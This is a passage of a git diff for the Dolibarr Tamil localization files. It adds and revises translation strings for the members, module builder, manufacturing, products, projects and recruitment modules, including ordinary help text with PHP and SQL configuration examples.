நிறுவனத்திற்கு) அல்லது பட்ஜெட் (ஒரு அடித்தளத்திற்கு) -DefaultAmount=பங்களிப்பு தொகையின் இயல்புநிலை -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=ஒருங்கிணைந்த ஆன்லைன் கட்டணப் பக்கத்தில் செல்லவும் +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=இயற்கையாகவே MembersStatisticsByProperties=இயல்பிலேயே உறுப்பினர்களின் புள்ளிவிவரங்கள் VATToUseForSubscriptions=பங்களிப்புகளுக்கு பயன்படுத்த VAT விகிதம் @@ -228,3 +232,4 @@ CreateDolibarrLoginDesc=உறுப்பினர்களுக்கான CreateDolibarrThirdPartyDesc=மூன்றாம் தரப்பினர் என்பது ஒவ்வொரு பங்களிப்பிற்கும் விலைப்பட்டியல் உருவாக்க முடிவு செய்தால், விலைப்பட்டியலில் பயன்படுத்தப்படும் சட்டப்பூர்வ நிறுவனம் ஆகும். பங்களிப்பைப் பதிவு செய்யும் போது நீங்கள் அதை உருவாக்க முடியும். MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/ta_IN/modulebuilder.lang b/htdocs/langs/ta_IN/modulebuilder.lang index b4782fad195..6ae354aa6f5 100644 --- a/htdocs/langs/ta_IN/modulebuilder.lang +++ b/htdocs/langs/ta_IN/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=இந்த கருவியை அனுபவம் வாய்ந்த பயனர்கள் அல்லது டெவலப்பர்கள் மட்டுமே பயன்படுத்த வேண்டும். இது உங்கள் சொந்த தொகுதியை உருவாக்க அல்லது திருத்துவதற்கான பயன்பாடுகளை வழங்குகிறது. மாற்று கைமுறை மேம்பாட்டிற்கான ஆவணம் இங்கே . EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=தொகுதிகள் உருவாக்கப்படும்/திருத்தப்படும் பாதை (வெளிப்புற தொகுதிகளுக்கான முதல் அடைவு %s என வரையறுக்கப்பட்டுள்ளது): %s ModuleBuilderDesc3=உருவாக்கப்பட்ட/திருத்தக்கூடிய தொகுதிகள் கண்டறியப்பட்டன: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=தொகுதி கோப்பகத்தின் ம NewModule=புதிய தொகுதி NewObjectInModulebuilder=புதிய பொருள் NewDictionary=New dictionary +ModuleName=Module name ModuleKey=தொகுதி விசை ObjectKey=பொருள் விசை DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=தொகுதி/பயன்பாடு தொகுப PathToModuleDocumentation=தொகுதி/பயன்பாட்டு ஆவணங்களின் கோப்புக்கான பாதை (%s) SpaceOrSpecialCharAreNotAllowed=இடைவெளிகள் அல்லது சிறப்பு எழுத்துக்கள் அனுமதிக்கப்படாது. FileNotYetGenerated=கோப்பு இன்னும் உருவாக்கப்படவில்லை +GenerateCode=Generate code RegenerateClassAndSql=.class மற்றும் .sql கோப்புகளை கட்டாயமாக புதுப்பிக்கவும் RegenerateMissingFiles=விடுபட்ட கோப்புகளை உருவாக்கவும் SpecificationFile=ஆவணக் கோப்பு LanguageFile=மொழிக்கான கோப்பு ObjectProperties=பொருள் பண்புகள் +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty= %s சொத்தை நிச்சயமாக நீக்க விரும்புகிறீர்களா? இது PHP வகுப்பில் குறியீட்டை மாற்றும் ஆனால் பொருளின் அட்டவணை வரையறையிலிருந்து நெடுவரிசையை அகற்றும். NotNull=NULL அல்ல NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=ஒரு அளவீடு ஆகும் DirScanned=கோப்பகம் ஸ்கேன் செய்யப்பட்டது NoTrigger=தூண்டுதல் இல்லை NoWidget=விட்ஜெட் இல்லை -GoToApiExplorer=ஏபிஐ எக்ஸ்ப்ளோரர் +ApiExplorer=API explorer ListOfMenusEntries=மெனு உள்ளீடுகளின் பட்டியல் ListOfDictionariesEntries=அகராதி உள்ளீடுகளின் பட்டியல் ListOfPermissionsDefined=வரையறுக்கப்பட்ட அனுமதிகளின் பட்டியல் SeeExamples=உதாரணங்களை இங்கே பார்க்கவும் -EnabledDesc=இந்த புலம் செயலில் இருக்க வேண்டிய நிபந்தனை (எடுத்துக்காட்டுகள்: 1 அல்லது $conf->global->MYMODULE_MYOPTION) -VisibleDesc=புலம் தெரிகிறதா? (எடுத்துக்காட்டுகள்: 0=எப்போதும் காணமுடியாது, 1=பட்டியல் மற்றும் உருவாக்க/புதுப்பித்தல்/பார்க்கும் படிவங்களில் தெரியும், 2=பட்டியலிலேயே தெரியும், 3=உருவாக்கும்/புதுப்பிப்பு/பார்க்கும் படிவத்தில் மட்டும் தெரியும் (பட்டியல் அல்ல), 4=பட்டியலில் தெரியும் மற்றும் புதுப்பித்தல்/பார்வை படிவம் மட்டும் (உருவாக்கவில்லை), 5=பட்டியல் இறுதிக் காட்சிப் படிவத்தில் மட்டும் தெரியும் (உருவாக்கவில்லை, புதுப்பிக்கவில்லை).

      இது ஒரு வெளிப்பாடாக இருக்கலாம், எடுத்துக்காட்டாக:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      -DisplayOnPdfDesc=இணக்கமான PDF ஆவணங்களில் இந்தப் புலத்தைக் காண்பி, நீங்கள் "நிலை" புலத்துடன் நிலையை நிர்வகிக்கலாம்.
      தற்போது, அறியப்பட்ட இணக்கதன்மை பிடிஎப் மாதிரிகள் உள்ளன: eratosthene (ஆர்டர்), espadon (கப்பல்), கடற்பாசி (பொருள்), சியான் (propal / மேற்கோள்), cornas (சப்ளையர் ஆர்டர்)

      ஆவணம்:
      0 =
      1 காண்பிக்கப்படவில்லை = காட்சி
      2 = காட்ட மட்டுமே காலி இல்லை என்றால்

      பொறுத்தவரை ஆவணம் வரிகளை:
      0 = இல்லை
      1 = பிறகு விளக்கம் பத்தியில் 4 = காட்சி
      விளக்கம் பிறகு
      வரி விளக்கம் பத்தியில் 3 = காட்சி ஒரு பத்தியில் காட்டப்படும் காட்டப்படும் காலியாக இல்லாவிட்டால் மட்டுமே விளக்கம் -DisplayOnPdf=PDF இல் காட்சி +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=புலத்தின் மதிப்பை மொத்தமாக பட்டியலில் சேர்க்க முடியுமா? (எடுத்துக்காட்டுகள்: 1 அல்லது 0) SearchAllDesc=விரைவு தேடல் கருவியில் இருந்து தேடுவதற்கு புலம் பயன்படுத்தப்படுகிறதா? (எடுத்துக்காட்டுகள்: 1 அல்லது 0) SpecDefDesc=மற்ற தாவல்களால் ஏற்கனவே வரையறுக்கப்படாத உங்கள் தொகுதியுடன் நீங்கள் வழங்க விரும்பும் அனைத்து ஆவணங்களையும் இங்கே உள்ளிடவும். நீங்கள் .md அல்லது சிறந்த, பணக்கார .asciidoc தொடரியல் பயன்படுத்தலாம். @@ -130,26 +136,32 @@ UseSpecificEditorURL = குறிப்பிட்ட எடிட்டர UseSpecificFamily = ஒரு குறிப்பிட்ட குடும்பத்தைப் பயன்படுத்தவும் UseSpecificAuthor = ஒரு குறிப்பிட்ட ஆசிரியரைப் பயன்படுத்தவும் UseSpecificVersion = ஒரு குறிப்பிட்ட ஆரம்ப பதிப்பைப் பயன்படுத்தவும் -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=இதை நீங்கள் சரிபார்த்தால், பதிவில் "ஆவணத்தை உருவாக்கு" பெட்டியைச் சேர்க்க சில குறியீடு உருவாக்கப்படும். -ShowOnCombobox=காம்போபாக்ஸில் மதிப்பைக் காட்டு +ShowOnCombobox=Show value into combo boxes KeyForTooltip=உதவிக்குறிப்புக்கான திறவுகோல் CSSClass=படிவத்தை திருத்த/உருவாக்க CSS CSSViewClass=படிவத்தை படிக்க CSS CSSListClass=பட்டியலுக்கு CSS NotEditable=திருத்த முடியாது ForeignKey=வெளிநாட்டு விசை -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii க்கு HTML மாற்றி AsciiToPdfConverter=Ascii to PDF மாற்றி TableNotEmptyDropCanceled=அட்டவணை காலியாக இல்லை. டிராப் ரத்து செய்யப்பட்டது. ModuleBuilderNotAllowed=மாட்யூல் பில்டர் உள்ளது ஆனால் உங்கள் பயனருக்கு அனுமதிக்கப்படவில்லை. ImportExportProfiles=சுயவிவரங்களை இறக்குமதி மற்றும் ஏற்றுமதி -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/ta_IN/mrp.lang b/htdocs/langs/ta_IN/mrp.lang index 29c220b444b..bfb2036cfbd 100644 --- a/htdocs/langs/ta_IN/mrp.lang +++ b/htdocs/langs/ta_IN/mrp.lang @@ -11,8 +11,8 @@ Bom=பொருள் பில்கள் BillOfMaterials=பொருட்களின் அளவுக்கான ரசீது BillOfMaterialsLines=பொருட்கள் வரிகளின் பில் BOMsSetup=தொகுதி BOM அமைவு -ListOfBOMs=பொருள் பில்கள் பட்டியல் - BOM -ListOfManufacturingOrders=உற்பத்தி ஆணைகளின் பட்டியல் +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=பொருட்கள் புதிய பில் ProductBOMHelp=இந்த BOM மூலம் உருவாக்க (அல்லது பிரிப்பதற்கான) தயாரிப்பு.
      குறிப்பு: 'பொருளின் தன்மை' = 'மூலப் பொருள்' என்ற பண்பு கொண்ட தயாரிப்புகள் இந்தப் பட்டியலில் காணப்படாது. BOMsNumberingModules=BOM எண் வார்ப்புருக்கள் @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=%s மெட்டீரியல்களின் ConfirmCloneMo=%s உற்பத்தி ஆர்டரை நிச்சயமாக குளோன் செய்ய விரும்புகிறீர்களா? ManufacturingEfficiency=உற்பத்தி திறன் ConsumptionEfficiency=நுகர்வு திறன் +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=0.95 இன் மதிப்பு என்பது உற்பத்தி செய்யப்பட்ட பொருளின் சராசரி இழப்பு 5%% DeleteBillOfMaterials=பொருட்களின் மசோதாவை நீக்கவும் @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=%s பிரித்தெடுக்கும் அ ConfirmValidateMo=இந்த உற்பத்தி ஆர்டரை நிச்சயமாக சரிபார்க்க விரும்புகிறீர்களா? ConfirmProductionDesc='%s' ஐக் கிளிக் செய்வதன் மூலம், அளவுகளின் அளவுக்கான நுகர்வு மற்றும்/அல்லது உற்பத்தியை நீங்கள் சரிபார்க்கலாம். இது பங்குகளைப் புதுப்பித்து, பங்கு நகர்வுகளைப் பதிவு செய்யும். ProductionForRef=%s இன் உற்பத்தி +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=நுகர்வு மற்றும் உற்பத்தி செய்ய வேண்டிய அளவுகள் எட்டப்பட்டால், உற்பத்தி ஆணை தானாக மூடவும் NoStockChangeOnServices=சேவைகளில் பங்கு மாற்றம் இல்லை ProductQtyToConsumeByMO=திறந்த MO மூலம் இன்னும் பயன்படுத்த வேண்டிய தயாரிப்பு அளவு @@ -80,6 +83,7 @@ ProductsToProduce=உற்பத்தி செய்ய வேண்டிய UnitCost=அலகு விலை TotalCost=மொத்த செலவு BOMTotalCost=இந்த BOM ஐ உற்பத்தி செய்வதற்கான செலவு ஒவ்வொரு அளவு மற்றும் நுகர்வுக்கான பொருளின் விலையின் அடிப்படையில் (வரையறுக்கப்பட்டால் செலவு விலையைப் பயன்படுத்தவும், இல்லையெனில் சராசரி எடையுள்ள விலை வரையறுக்கப்பட்டால், சிறந்த கொள்முதல் விலை) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=உற்பத்தி ஆர்டரை மூடுவதற்கு நீங்கள் முதலில் தயாரிப்பைத் தொடங்கியிருக்க வேண்டும் ('%s' தாவலைப் பார்க்கவும்). ஆனால் நீங்கள் அதை ரத்து செய்யலாம். ErrorAVirtualProductCantBeUsedIntoABomOrMo=ஒரு கிட்டை BOM அல்லது MO இல் பயன்படுத்த முடியாது Workstation=பணிநிலையம் @@ -107,3 +111,10 @@ THMEstimatedHelp=இந்த விகிதமானது பொருளி BOM=பொருட்களின் அளவுக்கான ரசீது CollapseBOMHelp=BOM தொகுதியின் கட்டமைப்பில் பெயரிடலின் விவரங்களின் இயல்புநிலை காட்சியை நீங்கள் வரையறுக்கலாம் MOAndLines=உற்பத்தி ஆர்டர்கள் மற்றும் வரிகள் +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/ta_IN/products.lang b/htdocs/langs/ta_IN/products.lang index 93368950736..0c2da86779e 100644 --- a/htdocs/langs/ta_IN/products.lang +++ b/htdocs/langs/ta_IN/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=இந்தத் தயாரிப்பு வர ProductSpecial=சிறப்பு QtyMin=குறைந்தபட்சம் கொள்முதல் அளவு PriceQtyMin=விலை அளவு நிமிடம். -PriceQtyMinCurrency=இந்த qtyக்கான விலை (நாணயம்). (தள்ளுபடி இல்லை) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=VAT விகிதம் (இந்த விற்பனையாளர்/தயாரிப்பு) DiscountQtyMin=இந்த தொகைக்கு தள்ளுபடி. NoPriceDefinedForThisSupplier=இந்த விற்பனையாளர்/தயாரிப்புக்கு விலை/அளவு வரையறுக்கப்படவில்லை @@ -261,7 +262,7 @@ Quarter1=1வது காலாண்டு Quarter2=2வது காலாண்டு Quarter3=3வது. காலாண்டு Quarter4=4வது காலாண்டு -BarCodePrintsheet=பார்கோடு அச்சிடவும் +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=இந்த கருவி மூலம், பார்கோடு ஸ்டிக்கர்களின் தாள்களை அச்சிடலாம். உங்கள் ஸ்டிக்கர் பக்கத்தின் வடிவம், பார்கோடு வகை மற்றும் பார்கோடின் மதிப்பு ஆகியவற்றைத் தேர்வுசெய்து, %s பொத்தானைக் கிளிக் செய்யவும். NumberOfStickers=பக்கத்தில் அச்சிட வேண்டிய ஸ்டிக்கர்களின் எண்ணிக்கை PrintsheetForOneBarCode=ஒரு பார்கோடுக்கு பல ஸ்டிக்கர்களை அச்சிடுங்கள் @@ -344,9 +345,9 @@ PossibleValues=சாத்தியமான மதிப்புகள் GoOnMenuToCreateVairants=பண்புக்கூறு வகைகளை (வண்ணங்கள், அளவு, ... போன்றவை) தயார் செய்ய, %s - %s மெனுவில் செல்லவும். UseProductFournDesc=வாடிக்கையாளர்களுக்கான விளக்கத்துடன் கூடுதலாக விற்பனையாளர்களால் (ஒவ்வொரு விற்பனையாளர் குறிப்புக்கும்) வரையறுக்கப்பட்ட தயாரிப்பு விளக்கத்தை வரையறுக்க ஒரு அம்சத்தைச் சேர்க்கவும். ProductSupplierDescription=தயாரிப்புக்கான விற்பனையாளர் விளக்கம் -UseProductSupplierPackaging=சப்ளையர் விலையில் பேக்கேஜிங்கைப் பயன்படுத்தவும் (சப்ளையர் ஆவணங்களில் வரியைச் சேர்க்கும்போது/புதுப்பிக்கும்போது சப்ளையர் விலையில் அமைக்கப்பட்ட பேக்கேஜிங்கின் படி அளவுகளை மீண்டும் கணக்கிடவும்) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=பேக்கேஜிங் -PackagingForThisProductDesc=சப்ளையர் ஆர்டரில், நீங்கள் தானாகவே இந்த அளவை ஆர்டர் செய்வீர்கள் (அல்லது இந்த அளவின் பல மடங்கு). குறைந்தபட்ச கொள்முதல் அளவை விட குறைவாக இருக்க முடியாது +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=சப்ளையர் பேக்கேஜிங்கின் படி வரியின் அளவு மீண்டும் கணக்கிடப்பட்டது #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=தயாரிப்பின் மாற ProductsPricePerCustomer=வாடிக்கையாளர்களுக்கான தயாரிப்பு விலைகள் ProductSupplierExtraFields=கூடுதல் பண்புக்கூறுகள் (சப்ளையர் விலைகள்) DeleteLinkedProduct=கலவையுடன் இணைக்கப்பட்ட குழந்தை தயாரிப்பை நீக்கவும் -AmountUsedToUpdateWAP=எடையுள்ள சராசரி விலையைப் புதுப்பிக்கப் பயன்படுத்த வேண்டிய தொகை +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=எடையுள்ள சராசரி விலை PMPValueShort=WAP mandatoryperiod=கட்டாய காலங்கள் @@ -408,6 +409,23 @@ mandatoryHelper=இந்தச் சேவையில் தொடக்க DefaultBOM=இயல்புநிலை BOM DefaultBOMDesc=இந்த தயாரிப்பைத் தயாரிக்க, இயல்புநிலை BOM பயன்படுத்த பரிந்துரைக்கப்படுகிறது. தயாரிப்பின் தன்மை '%s' ஆக இருந்தால் மட்டுமே இந்தப் புலத்தை அமைக்க முடியும். Rank=தரவரிசை +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=விற்பனை நிலையை இயக்கவும் SwitchOnPurchaseStatus=கொள்முதல் நிலையை இயக்கவும் +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/ta_IN/projects.lang b/htdocs/langs/ta_IN/projects.lang index 5f08cc4a354..de6dfe7fade 100644 --- a/htdocs/langs/ta_IN/projects.lang +++ b/htdocs/langs/ta_IN/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=இந்தக் காட்சி நீங்கள் ப TasksDesc=இந்த பார்வை அனைத்து திட்டப்பணிகளையும் பணிகளையும் வழங்குகிறது (உங்கள் பயனர் அனுமதிகள் அனைத்தையும் பார்க்க உங்களுக்கு அனுமதி அளிக்கிறது). AllTaskVisibleButEditIfYouAreAssigned=தகுதிவாய்ந்த திட்டங்களுக்கான அனைத்து பணிகளும் தெரியும், ஆனால் தேர்ந்தெடுக்கப்பட்ட பயனருக்கு ஒதுக்கப்பட்ட பணிக்கு மட்டுமே நீங்கள் நேரத்தை உள்ளிட முடியும். நீங்கள் நேரத்தை உள்ளிட வேண்டும் என்றால் பணியை ஒதுக்கவும். OnlyYourTaskAreVisible=உங்களுக்கு ஒதுக்கப்பட்ட பணிகள் மட்டுமே தெரியும். நீங்கள் ஒரு பணியில் நேரத்தை உள்ளிட வேண்டும் மற்றும் பணி இங்கே தெரியவில்லை என்றால், நீங்கள் பணியை ஒதுக்க வேண்டும். +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=திட்டங்களின் பணிகள் ProjectCategories=திட்ட குறிச்சொற்கள்/வகைகள் NewProject=புதிய திட்டம் @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=திறந்த திட்டங்க OpportunitiesStatusForProjects=நிலையின்படி திட்டங்களின் அளவை வழிநடத்துகிறது ShowProject=திட்டத்தைக் காட்டு ShowTask=பணியைக் காட்டு +SetThirdParty=Set third party SetProject=திட்டத்தை அமைக்கவும் +OutOfProject=Out of project NoProject=எந்த திட்டமும் வரையறுக்கப்படவில்லை அல்லது சொந்தமானது NbOfProjects=திட்டங்களின் எண்ணிக்கை NbOfTasks=பணிகளின் எண்ணிக்கை @@ -122,7 +125,8 @@ ValidateProject=திட்டத்தை சரிபார்க்கவு ConfirmValidateProject=இந்தத் திட்டத்தைச் சரிபார்க்க விரும்புகிறீர்களா? CloseAProject=திட்டத்தை மூடவும் ConfirmCloseAProject=இந்தத் திட்டத்தை நிச்சயமாக மூட விரும்புகிறீர்களா? -AlsoCloseAProject=திட்டத்தையும் மூடவும் (நீங்கள் இன்னும் அதில் உற்பத்தி பணிகளைப் பின்பற்ற வேண்டும் என்றால், அதைத் திறந்து வைக்கவும்) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=திட்டத்தைத் திறக்கவும் ConfirmReOpenAProject=இந்தத் திட்டத்தை மீண்டும் திறக்க விரும்புகிறீர்களா? ProjectContact=திட்டத்தின் தொடர்புகள் @@ -165,7 +169,7 @@ OpportunityProbability=முன்னணி நிகழ்தகவு OpportunityProbabilityShort=முன்னணி ப்ரோபாப். OpportunityAmount=முன்னணி அளவு OpportunityAmountShort=முன்னணி அளவு -OpportunityWeightedAmount=வாய்ப்பு எடையிடப்பட்ட அளவு +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=எதிர் எடையுள்ள அளவு OpportunityAmountAverageShort=சராசரி ஈய அளவு OpportunityAmountWeigthedShort=எடையிடப்பட்ட ஈய அளவு @@ -238,7 +242,7 @@ OppStatusPENDING=நிலுவையில் உள்ளது OppStatusWON=வெற்றி பெற்றது OppStatusLOST=இழந்தது Budget=பட்ஜெட் -AllowToLinkFromOtherCompany=மற்ற நிறுவனத்திலிருந்து இணைப்பை திட்டம் அனுமதி

      ஆதரிக்கப்படும் மதிப்புகள்:
      - காலியாக வைத்து: நிறுவனம் (இயல்புநிலை) எந்த திட்டம்
      இணைக்க முடியுமா - "எல்லா": எந்த திட்டங்கள்,
      பிற நிறுவனங்கள் கூட திட்டங்கள் இணைக்க முடியுமா - பட்டியல் காற்புள்ளிகளால் பிரிக்கப்பட்ட மூன்றாம் தரப்பு ஐடிகள்: இந்த மூன்றாம் தரப்பினரின் அனைத்து திட்டப்பணிகளையும் இணைக்க முடியும் (எடுத்துக்காட்டு: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=சமீபத்திய %s திட்டங்கள் LatestModifiedProjects=சமீபத்திய %s மாற்றியமைக்கப்பட்ட திட்டங்கள் OtherFilteredTasks=பிற வடிகட்டப்பட்ட பணிகள் @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=பயன்படுத்தி லாபம் கண AddPersonToTask=பணிகளிலும் சேர்க்கவும் UsageOrganizeEvent=பயன்பாடு: நிகழ்வு அமைப்பு PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=திட்டப்பணிகள் அனைத்தும் முடிந்ததும் மூடப்பட்டதாக வகைப்படுத்தவும் (100%% முன்னேற்றம்) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=குறிப்பு: 100%% இல் உள்ள அனைத்துப் பணிகளுடன் ஏற்கனவே உள்ள திட்டப்பணிகளின் முன்னேற்றம் பாதிக்கப்படாது: நீங்கள் அவற்றை கைமுறையாக மூட வேண்டும். இந்த விருப்பம் திறந்த திட்டங்களை மட்டுமே பாதிக்கிறது. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=கட்டணம் செலுத்தப்படாத நேரத்தைத் தேர்ந்தெடுத்து, அவற்றை பில் செய்ய மொத்த நடவடிக்கை "இன்வாய்ஸை உருவாக்கு" ProjectTasksWithoutTimeSpent=நேரத்தை செலவழிக்காமல் திட்ட பணிகள் FormForNewLeadDesc=எங்களை தொடர்பு கொள்ள பின்வரும் படிவத்தை நிரப்பியதற்கு நன்றி. நீங்கள் எங்களுக்கு நேரடியாக %s க்கு மின்னஞ்சல் அனுப்பலாம். diff --git a/htdocs/langs/ta_IN/recruitment.lang b/htdocs/langs/ta_IN/recruitment.lang index 855030e9893..93b87a139d6 100644 --- a/htdocs/langs/ta_IN/recruitment.lang +++ b/htdocs/langs/ta_IN/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=மின்னஞ்சல் பணியமர்த்து ToUseAGenericEmail=பொதுவான மின்னஞ்சலைப் பயன்படுத்த. வரையறுக்கப்படவில்லை என்றால், ஆட்சேர்ப்புக்கு பொறுப்பானவரின் மின்னஞ்சல் பயன்படுத்தப்படும் NewCandidature=புதிய பயன்பாடு ListOfCandidatures=விண்ணப்பங்களின் பட்டியல் -RequestedRemuneration=ஊதியம் கேட்டார் -ProposedRemuneration=முன்மொழியப்பட்ட ஊதியம் +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=ஒப்பந்தம் முன்மொழியப்பட்டது ContractSigned=ஒப்பந்தம் கையெழுத்தானது ContractRefused=ஒப்பந்தம் மறுத்துவிட்டது RecruitmentCandidature=விண்ணப்பம் JobPositions=வேலை நிலைகள் 